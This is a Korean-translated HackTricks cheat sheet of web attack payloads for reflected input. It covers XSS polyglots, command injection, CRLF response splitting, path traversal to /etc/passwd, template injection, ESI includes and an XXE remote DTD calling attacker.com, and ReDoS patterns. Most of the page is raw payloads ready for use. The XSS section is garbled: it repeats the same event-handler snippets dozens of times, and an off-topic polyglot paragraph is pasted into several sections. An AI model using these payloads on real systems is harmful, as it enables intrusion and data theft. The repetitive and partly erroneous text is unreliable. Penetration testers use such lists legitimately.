hacktricks/pentesting-web/pocs-and-polygloths-cheatsheet
2024-04-06 18:36:54 +00:00
..
README.md Translated to Korean 2024-02-10 21:30:13 +00:00
web-vulns-list.md GitBook: No commit message 2024-04-06 18:36:54 +00:00

반사 기법 - PoCs 및 Polygloths CheatSheet

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

이러한 PoCs 및 Polygloths의 목표는 테스터에게 입력이 응답에 반사되는 경우에 그가 이용할 수 있는 취약점에 대한 빠른 요약을 제공하는 것입니다.

{% hint style="warning" %} 이 치트시트는 각 취약점에 대한 포괄적인 테스트 목록을 제안하지 않습니다. 단지 몇 가지 기본적인 테스트만 제공합니다. 더 포괄적인 테스트를 찾고 있다면 제안된 각 취약점에 액세스하세요. {% endhint %}

{% hint style="danger" %} 일반적으로 XML 데이터를 전송하는 요청을 찾으면 직접 시도하기 때문에 Content-Type 종속성 주입(XXE)은 여기에서 찾을 수 없습니다. 또한 백엔드 DB 기술과 구조에 따라 내용이 반영될 수 있으므로 데이터베이스 주입도 여기에서 찾을 수 없습니다. {% endhint %}

Polygloths 목록

{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button  onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

클라이언트 측 템플릿 삽입

기본 테스트

{{7*7}}
[7*7]

다중언어

A polyglot is a file that can be interpreted as multiple different file types depending on how it is opened or executed. In the context of hacking, polyglots can be used to bypass security measures and exploit vulnerabilities in various systems.

다중언어는 파일이 여러 가지 다른 파일 유형으로 해석될 수 있는 것을 의미합니다. 이는 파일이 어떻게 열리거나 실행되느냐에 따라 달라집니다. 해킹의 문맥에서 다중언어는 보안 조치를 우회하고 다양한 시스템에서 취약점을 악용하는 데 사용될 수 있습니다.

{{7*7}}[7*7]

Command Injection

기본 테스트

;ls
||ls;
|ls;
&&ls;
&ls;
%0Als
`ls`
$(ls)

다중언어

A polyglot is a file that can be interpreted as multiple different file types depending on how it is opened or executed. In the context of hacking, polyglots can be used to bypass security measures and exploit vulnerabilities in various systems.

다중언어는 파일이 여러 가지 다른 파일 유형으로 해석될 수 있는 것을 의미합니다. 이는 파일이 어떻게 열리거나 실행되느냐에 따라 달라집니다. 해킹의 문맥에서 다중언어는 보안 조치를 우회하고 다양한 시스템에서 취약점을 악용하는 데 사용될 수 있습니다.

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

CRLF

기본 테스트

CRLF Injection

HTTP Response Splitting
  • Description: CRLF Injection은 HTTP Response Splitting 공격의 일부로, CRLF (Carriage Return Line Feed) 문자를 삽입하여 악의적인 행동을 수행하는 기법입니다.
  • PoC: 아래의 예시를 통해 CRLF Injection을 확인할 수 있습니다.
GET / HTTP/1.1
Host: example.com%0D%0ASet-Cookie: malicious_cookie=1
  • 참고: CRLF Injection은 주로 쿠키 조작, 캐시 변조, 클라이언트 측 스크립트 삽입 등의 공격에 이용될 수 있습니다.
SMTP Response Injection
  • Description: CRLF Injection은 SMTP Response Injection 공격의 일부로, CRLF 문자를 삽입하여 악의적인 행동을 수행하는 기법입니다.
  • PoC: 아래의 예시를 통해 CRLF Injection을 확인할 수 있습니다.
MAIL FROM: <attacker@example.com%0D%0ATO: victim@example.com%0D%0ASUBJECT: Test%0D%0A%0D%0AHello, this is a test email.%0D%0A%2E%0D%0A>
  • 참고: CRLF Injection은 주로 스푸핑 공격, 이메일 주소 조작, 악성 파일 첨부 등의 공격에 이용될 수 있습니다.

CRLF Polyglots

HTML CRLF Polyglots
  • Description: CRLF Polyglots는 HTML 문서에서 CRLF 문자를 삽입하여 여러 가지 의미를 동시에 가지는 기법입니다.
  • PoC: 아래의 예시를 통해 HTML CRLF Polyglots를 확인할 수 있습니다.
<html>
<body>
<!--%0D%0A--><script>alert('CRLF Injection')</script>
</body>
</html>
JavaScript CRLF Polyglots
  • Description: CRLF Polyglots는 JavaScript 코드에서 CRLF 문자를 삽입하여 여러 가지 의미를 동시에 가지는 기법입니다.
  • PoC: 아래의 예시를 통해 JavaScript CRLF Polyglots를 확인할 수 있습니다.
var x = 'CRLF%0D%0AInjection';
alert(x);
CSS CRLF Polyglots
  • Description: CRLF Polyglots는 CSS 코드에서 CRLF 문자를 삽입하여 여러 가지 의미를 동시에 가지는 기법입니다.
  • PoC: 아래의 예시를 통해 CSS CRLF Polyglots를 확인할 수 있습니다.
body {
  content: 'CRLF%0D%0AInjection';
}
URL CRLF Polyglots
  • Description: CRLF Polyglots는 URL에서 CRLF 문자를 삽입하여 여러 가지 의미를 동시에 가지는 기법입니다.
  • PoC: 아래의 예시를 통해 URL CRLF Polyglots를 확인할 수 있습니다.
GET /%0D%0ASet-Cookie: malicious_cookie=1 HTTP/1.1
Host: example.com
XML CRLF Polyglots
  • Description: CRLF Polyglots는 XML 문서에서 CRLF 문자를 삽입하여 여러 가지 의미를 동시에 가지는 기법입니다.
  • PoC: 아래의 예시를 통해 XML CRLF Polyglots를 확인할 수 있습니다.
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
JSON CRLF Polyglots
  • Description: CRLF Polyglots는 JSON 데이터에서 CRLF 문자를 삽입하여 여러 가지 의미를 동시에 가지는 기법입니다.
  • PoC: 아래의 예시를 통해 JSON CRLF Polyglots를 확인할 수 있습니다.
{
  "message": "CRLF%0D%0AInjection"
}
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

매달린 마크업

기본 테스트

Dangling Markup은 웹 애플리케이션에서 발생하는 보안 취약점 중 하나입니다. 이 취약점은 애플리케이션에서 처리되지 않은 마크업 요소가 사용자에게 노출되는 경우에 발생합니다. 이는 주로 사용자 입력을 적절하게 처리하지 않는 경우에 발생할 수 있습니다.

Dangling Markup 취약점을 확인하기 위해 다음과 같은 기본 테스트를 수행할 수 있습니다:

  1. HTML 주석: 애플리케이션에서 HTML 주석을 사용하여 사용자 입력을 처리하는 경우, 주석 내에 임의의 마크업 요소를 삽입하여 애플리케이션의 응답을 확인할 수 있습니다. 예를 들어, <!-- <img src=x onerror=alert(1)> -->와 같은 주석을 삽입하여 이미지가 로드되지 않을 때 경고 메시지가 표시되는지 확인할 수 있습니다.

  2. 태그 닫기: 애플리케이션에서 사용자 입력을 처리하는 경우, 닫히지 않은 태그를 삽입하여 애플리케이션의 응답을 확인할 수 있습니다. 예를 들어, <script>alert(1)와 같은 태그를 삽입하여 경고 메시지가 표시되는지 확인할 수 있습니다.

  3. 스타일 속성: 애플리케이션에서 사용자 입력을 처리하는 경우, 스타일 속성을 사용하여 애플리케이션의 응답을 확인할 수 있습니다. 예를 들어, <div style="background-image:url(javascript:alert(1))">와 같은 스타일 속성을 삽입하여 경고 메시지가 표시되는지 확인할 수 있습니다.

  4. 이스케이프: 애플리케이션에서 사용자 입력을 이스케이프하지 않는 경우, 이스케이프 문자를 삽입하여 애플리케이션의 응답을 확인할 수 있습니다. 예를 들어, &lt;script&gt;alert(1)&lt;/script&gt;와 같은 이스케이프 문자를 삽입하여 경고 메시지가 표시되는지 확인할 수 있습니다.

이러한 기본 테스트를 통해 Dangling Markup 취약점을 확인할 수 있으며, 이를 통해 애플리케이션의 보안을 강화할 수 있습니다.

<br><b><h1>THIS IS AND INJECTED TITLE </h1>

파일 포함/경로 조작

기본 테스트

/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php

Open Redirect / 서버 측 요청 위조

기본 테스트

www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)

ReDoS

기본 테스트

Test 1: Slowing down the response time

Description

This test aims to slow down the response time of a regular expression by using a vulnerable pattern.

Steps
  1. Identify a vulnerable regular expression pattern that can potentially cause a denial of service.
  2. Craft a payload that triggers the vulnerable pattern.
  3. Send the payload to the target application and measure the response time.
  4. Compare the response time with and without the payload to determine if the regular expression is causing a slowdown.
Example
const regex = /^(a+)+$/;
const payload = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!';
const startTime = Date.now();
regex.test(payload);
const endTime = Date.now();
const responseTime = endTime - startTime;
console.log(`Response time: ${responseTime}ms`);
Mitigation

To mitigate regular expression denial of service (ReDoS) attacks, consider the following measures:

  • Use regular expressions sparingly and only when necessary.
  • Avoid using user-controlled input directly in regular expressions.
  • Limit the complexity of regular expressions by setting appropriate limits on repetition and backtracking.
  • Use regular expression engines that have built-in protections against ReDoS attacks.
  • Regularly update and patch the regular expression engine to ensure it has the latest security fixes.

Test 2: Catastrophic backtracking

Description

This test aims to identify regular expressions that are susceptible to catastrophic backtracking, which can lead to a denial of service.

Steps
  1. Identify a regular expression pattern that exhibits catastrophic backtracking behavior.
  2. Craft a payload that triggers the catastrophic backtracking behavior.
  3. Send the payload to the target application and measure the response time.
  4. Compare the response time with and without the payload to determine if the regular expression is causing a slowdown.
Example
const regex = /^(a+)+$/;
const payload = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!';
const startTime = Date.now();
regex.test(payload);
const endTime = Date.now();
const responseTime = endTime - startTime;
console.log(`Response time: ${responseTime}ms`);
Mitigation

To mitigate catastrophic backtracking in regular expressions, consider the following measures:

  • Avoid using regular expressions with excessive repetition and nested quantifiers.
  • Use atomic groups (?>...) or possessive quantifiers (?>...) to prevent backtracking.
  • Limit the complexity of regular expressions by setting appropriate limits on repetition and backtracking.
  • Use regular expression engines that have built-in protections against catastrophic backtracking.
  • Regularly update and patch the regular expression engine to ensure it has the latest security fixes.
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$

서버 측 포함/엣지 측 포함

기본 테스트

<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

다중언어

A polyglot is a file that can be interpreted as multiple different file types depending on how it is opened or executed. In the context of hacking, polyglots can be used to bypass security measures and exploit vulnerabilities in various systems.

다중언어는 파일이 여러 가지 다른 파일 유형으로 해석될 수 있는 것을 의미합니다. 이는 파일이 어떻게 열리거나 실행되느냐에 따라 달라집니다. 해킹의 문맥에서 다중언어는 보안 조치를 우회하고 다양한 시스템에서 취약점을 악용하는 데 사용될 수 있습니다.

<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

서버 측 요청 위조

여기서는 Open Redirect에 사용된 동일한 테스트를 사용할 수 있습니다.

서버 측 템플릿 삽입

기본 테스트

${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

다중언어

A polyglot is a file that can be interpreted as multiple different file types depending on how it is opened or executed. In the context of hacking, polyglots can be used to bypass security measures and exploit vulnerabilities in various systems.

다중언어는 파일이 여러 가지 다른 파일 유형으로 해석될 수 있는 것을 의미합니다. 이는 파일이 어떻게 열리거나 실행되느냐에 따라 달라집니다. 해킹의 문맥에서 다중언어는 보안 조치를 우회하고 다양한 시스템에서 취약점을 악용하는 데 사용될 수 있습니다.

{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\

XSLT 서버 측 삽입

기본 테스트

<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>

다중언어

A polyglot is a file that can be interpreted as multiple different file types depending on how it is opened or executed. In the context of hacking, polyglots can be used to bypass security measures and exploit vulnerabilities in various systems.

다중언어는 파일이 여러 가지 다른 파일 유형으로 해석될 수 있는 것을 의미합니다. 이 파일은 열거나 실행하는 방식에 따라 여러 가지 다른 파일 유형으로 해석될 수 있습니다. 해킹의 문맥에서 다중언어는 보안 조치를 우회하고 다양한 시스템에서 취약점을 악용하는 데 사용될 수 있습니다.

<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>

XSS

기본 테스트

Alert

<script>alert('XSS')</script>

Image

<img src="x" onerror="alert('XSS')">

Input

<input type="text" value="<script>alert('XSS')</script>">
<a href="javascript:alert('XSS')">Click me</a>

SVG

<svg onload="alert('XSS')"></svg>

Style

<style>body{background:url('javascript:alert("XSS")')}</style>

Table

<table background="javascript:alert('XSS')"></table>

Div

<div style="background-image:url(javascript:alert('XSS'))"></div>

Object

<object data="javascript:alert('XSS')"></object>

Embed

<embed src="javascript:alert('XSS')">

Audio

<audio src="javascript:alert('XSS')"></audio>

Video

<video src="javascript:alert('XSS')"></video>

Iframe

<iframe src="javascript:alert('XSS')"></iframe>

Form

<form action="javascript:alert('XSS')"></form>

Button

<button onclick="alert('XSS')">Click me</button>

TextArea

<textarea><script>alert('XSS')</script></textarea>

Select

<select onchange="alert('XSS')"><option value="<script>alert('XSS')</script>">XSS</option></select>

OnMouseOver

<div onmouseover="alert('XSS')">Hover me</div>

OnMouseEnter

<div onmouseenter="alert('XSS')">Hover me</div>

OnFocus

<input type="text" onfocus="alert('XSS')">

OnBlur

<input type="text" onblur="alert('XSS')">

OnLoad

<body onload="alert('XSS')">

OnError

<img src="x" onerror="alert('XSS')">

OnSubmit

<form onsubmit="alert('XSS')"></form>

OnReset

<form onreset="alert('XSS')"></form>

OnChange

<input type="text" onchange="alert('XSS')">

OnSelect

<select onchange="alert('XSS')"></select>

OnAbort

<img src="x" onabort="alert('XSS')">

OnBeforeUnload

<body onbeforeunload="alert('XSS')">

OnHashChange

<body onhashchange="alert('XSS')">

OnInput

<input type="text" oninput="alert('XSS')">

OnInvalid

<input type="text" oninvalid="alert('XSS')">

OnKeyDown

<input type="text" onkeydown="alert('XSS')">

OnKeyPress

<input type="text" onkeypress="alert('XSS')">

OnKeyUp

<input type="text" onkeyup="alert('XSS')">

OnMouseDown

<input type="text" onmousedown="alert('XSS')">

OnMouseMove

<input type="text" onmousemove="alert('XSS')">

OnMouseOut

<input type="text" onmouseout="alert('XSS')">

OnMouseUp

<input type="text" onmouseup="alert('XSS')">

OnReset

<input type="text" onreset="alert('XSS')">

OnResize

<input type="text" onresize="alert('XSS')">

OnScroll

<input type="text" onscroll="alert('XSS')">

OnSearch

<input type="text" onsearch="alert('XSS')">

OnSelect

<input type="text" onselect="alert('XSS')">

OnSubmit

<input type="text" onsubmit="alert('XSS')">

OnUnload

<input type="text" onunload="alert('XSS')">

OnWheel

<input type="text" onwheel="alert('XSS')">

OnCopy

<input type="text" oncopy="alert('XSS')">

OnCut

<input type="text" oncut="alert('XSS')">

OnPaste

<input type="text" onpaste="alert('XSS')">

OnDrag

<input type="text" ondrag="alert('XSS')">

OnDragEnd

<input type="text" ondragend="alert('XSS')">

OnDragEnter

<input type="text" ondragenter="alert('XSS')">

OnDragLeave

<input type="text" ondragleave="alert('XSS')">

OnDragOver

<input type="text" ondragover="alert('XSS')">

OnDragStart

<input type="text" ondragstart="alert('XSS')">

OnDrop

<input type="text" ondrop="alert('XSS')">

OnFocus

<input type="text" onfocus="alert('XSS')">

OnInput

<input type="text" oninput="alert('XSS')">

OnInvalid

<input type="text" oninvalid="alert('XSS')">

OnKeyDown

<input type="text" onkeydown="alert('XSS')">

OnKeyPress

<input type="text" onkeypress="alert('XSS')">

OnKeyUp

<input type="text" onkeyup="alert('XSS')">

OnLoad

<input type="text" onload="alert('XSS')">

OnMouseDown

<input type="text" onmousedown="alert('XSS')">

OnMouseMove

<input type="text" onmousemove="alert('XSS')">

OnMouseOut

<input type="text" onmouseout="alert('XSS')">

OnMouseOver

<input type="text" onmouseover="alert('XSS')">

OnMouseUp

<input type="text" onmouseup="alert('XSS')">

OnReset

<input type="text" onreset="alert('XSS')">

OnResize

<input type="text" onresize="alert('XSS')">

OnScroll

<input type="text" onscroll="alert('XSS')">

OnSearch

<input type="text" onsearch="alert('XSS')">

OnSelect

<input type="text" onselect="alert('XSS')">

OnSubmit

<input type="text" onsubmit="alert('XSS')">

OnUnload

<input type="text" onunload="alert('XSS')">

OnWheel

<input type="text" onwheel="alert('XSS')">

OnCopy

<input type="text" oncopy="alert('XSS')">

OnCut

<input type="text" oncut="alert('XSS')">

OnPaste

<input type="text" onpaste="alert('XSS')">

OnDrag

<input type="text" ondrag="alert('XSS')">

OnDragEnd

<input type="text" ondragend="alert('XSS')">

OnDragEnter

<input type="text" ondragenter="alert('XSS')">

OnDragLeave

<input type="text" ondragleave="alert('XSS')">

OnDragOver

<input type="text" ondragover="alert('XSS')">

OnDragStart

<input type="text" ondragstart="alert('XSS')">

OnDrop

<input type="text" ondrop="alert('XSS')">

OnFocus

<input type="text" onfocus="alert('XSS')">

OnInput

<input type="text" oninput="alert('XSS')">

OnInvalid

<input type="text" oninvalid="alert('XSS')">

OnKeyDown

<input type="text" onkeydown="alert('XSS')">

OnKeyPress

<input type="text" onkeypress="alert('XSS')">

OnKeyUp

<input type="text" onkeyup="alert('XSS')">

OnLoad

<input type="text" onload="alert('XSS')">

OnMouseDown

<input type="text" onmousedown="alert('XSS')">

OnMouseMove

<input type="text" onmousemove="alert('XSS')">

OnMouseOut

<input type="text" onmouseout="alert('XSS')">

OnMouseOver

<input type="text" onmouseover="alert('XSS')">

OnMouseUp

<input type="text" onmouseup="alert('XSS')">

OnReset

<input type="text" onreset="alert('XSS')">

OnResize

<input type="text" onresize="alert('XSS')">

OnScroll

<input type="text" onscroll="alert('XSS')">

OnSearch

<input type="text" onsearch="alert('XSS')">

OnSelect

<input type="text" onselect="alert('XSS')">

OnSubmit

<input type="text" onsubmit="alert('XSS')">

OnUnload

<input type="text" onunload="alert('XSS')">

OnWheel

<input type="text" onwheel="alert('XSS')">

OnCopy

<input type="text" oncopy="alert('XSS')">

OnCut

<input type="text" oncut="alert('XSS')">

OnPaste

<input type="text" onpaste="alert('XSS')">

OnDrag

<input type="text" ondrag="alert('XSS')">

OnDragEnd

<input type="text" ondragend="alert('XSS')">

OnDragEnter

<input type="text" ondragenter="alert('XSS')">

OnDragLeave

<input type="text" ondragleave="alert('XSS')">

OnDragOver

<input type="text" ondragover="alert('XSS')">

OnDragStart

<input type="text" ondragstart="alert('XSS')">

OnDrop

<input type="text" ondrop="alert('XSS')">

OnFocus

<input type="text" onfocus="alert('XSS')">

OnInput

<input type="text" oninput="alert('XSS')">

OnInvalid

<input type="text" oninvalid="alert('XSS')">

OnKeyDown

<input type="text" onkeydown="alert('XSS')">

OnKeyPress

<input type="text" onkeypress="alert('XSS')">

OnKeyUp

<input type="text" onkeyup="alert('XSS')">

OnLoad

<input type="text" onload="alert('XSS')">

OnMouseDown

<input type="text" onmousedown="alert('XSS')">

OnMouseMove

<input type="text" onmousemove="alert('XSS')">

OnMouseOut

<input type="text" onmouseout="alert('XSS')">

OnMouseOver

<input type="text" onmouseover="alert('XSS')">

OnMouseUp

<input type="text" onmouseup="alert('XSS')">

OnReset

<input type="text" onreset="alert('XSS')">

OnResize

<input type="text" onresize="alert('XSS')">

OnScroll

<input type="text" onscroll="alert('XSS')">

OnSearch

<input type="text" onsearch="alert('XSS')">

OnSelect

<input type="text" onselect="alert('XSS')">

OnSubmit

<input type="text" onsubmit="alert('XSS')">

OnUnload

<input type="text" onunload="alert('XSS')">

OnWheel

<input type="text" onwheel="alert('XSS')">

OnCopy

<input type="text" oncopy="alert('XSS')">

OnCut

<input type="text" oncut="alert('XSS')">

OnPaste

<input type="text" onpaste="alert('XSS')">

OnDrag

<input type="text" ondrag="alert('XSS')">

OnDragEnd

<input type="text" ondragend="alert('XSS')">

OnDragEnter

<input type="text" ondragenter="alert('XSS')">

OnDragLeave

<input type="text" ondragleave="alert('XSS')">

OnDragOver

<input type="text" ondragover="alert('XSS')">

OnDragStart

<input type="text" ondragstart="alert('XSS')">

OnDrop

<input type="text" ondrop="alert('XSS')">

OnFocus

<input type="text" onfocus="alert('XSS')">

OnInput

<input type="text" oninput="alert('XSS')">

OnInvalid

<input type="text" oninvalid="alert('XSS')">

OnKeyDown

<input type="text" onkeydown="alert('XSS')">

OnKeyPress

<input type="text" onkeypress="alert('XSS')">

OnKeyUp

<input type="text" onkeyup="alert('XSS')">

OnLoad

<input type="text" onload="alert('XSS')">

OnMouseDown

<input type="text" onmousedown="alert('XSS')">

OnMouseMove

<input type="text" onmousemove="alert('XSS')">

OnMouseOut

<input type="text" onmouseout="alert('XSS')">

OnMouseOver

<input type="text" onmouseover="alert('XSS')">

OnMouseUp

<input type="text" onmouseup="alert('XSS')">

OnReset

<input type="text" onreset="alert('XSS')">

OnResize

<input type="text" onresize="alert('XSS')">

OnScroll

<input type="text" onscroll="alert('XSS')">

OnSearch

<input type="text" onsearch="alert('XSS')">

OnSelect

<input type="text" onselect="alert('XSS')">

OnSubmit

<input type="text" onsubmit="alert('XSS')">

OnUnload

<input type="text" onunload="alert('XSS')">

OnWheel

<input type="text" onwheel="alert('XSS')">

OnCopy

<input type="text" oncopy="alert('XSS')">

OnCut

<input type="text" oncut="alert('XSS')">

OnPaste

" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()

다중언어

A polyglot is a file that can be interpreted as multiple different file types depending on how it is opened or executed. In the context of hacking, polyglots can be used to bypass security measures and exploit vulnerabilities in various systems.

다중언어는 파일이 여러 가지 다른 파일 유형으로 해석될 수 있는 것을 의미합니다. 이는 파일이 어떻게 열리거나 실행되느냐에 따라 달라집니다. 해킹의 맥락에서 다중언어는 보안 조치를 우회하고 다양한 시스템에서 취약점을 악용하는 데 사용될 수 있습니다.

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button  onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: